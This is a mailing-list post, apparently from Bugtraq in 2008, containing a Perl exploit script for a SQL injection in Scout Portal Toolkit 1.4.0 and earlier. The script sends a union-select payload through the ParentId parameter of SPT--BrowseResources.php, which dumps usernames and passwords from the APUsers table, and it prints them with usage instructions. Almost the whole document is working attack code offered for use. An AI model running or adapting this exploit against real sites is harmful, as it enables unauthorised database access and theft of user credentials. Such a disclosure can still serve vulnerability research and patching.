Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
Date: 5 May 2008 15:53:00 -0000
From: sys-project@hotmail.com
To: bugtraq@securityfocus.com
Subject: Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
X-Virus-Scanned: antivirus-gw at tyumen.ru
#!/usr/bin/perl
# Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
# Discovered & Coded by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project / EspSeC
# http://www.spanish-hackers.com
# rgod forever :D
print "\t\t########################################################\n\n";
print "\t\t# Scout Portal Toolkit <= 1.4.0 SQL Injection Exploit #\n\n";
print "\t\t# by JosS #\n\n";
print "\t\t########################################################\n\n";
use strict;
use LWP::UserAgent;
my $victim = $ARGV[0];
if(!$ARGV[0]) {
print "\n[x] Scout Portal Toolkit <= 1.4.0 Remote SQL Injection Exploit\n";
print "[x] written by JosS - sys-project[at]hotmail.com\n";
print "[x] usage: perl xpl.pl [host]\n";
print "[x] example: http://localhost/path/\n\n";
exit(1);
}
print "\n[+] Exploiting...\n";
my $cnx = LWP::UserAgent->new() or die;
my $go=$cnx->get($victim."/SPT--BrowseResources.php?ParentId=337+and+1=2+union+all+select+0,1,2,3,4,concat(UserName,char(34),UserPassword),6,7,8+from+APUsers/*");
if ($go->content =~ m/APUsers\/\*\' class=\'\'>(.*?)\<\/a>/ms)
{
print "[+] $1\n\n";
} else {
print "\n[-] exploit failed\n";
}
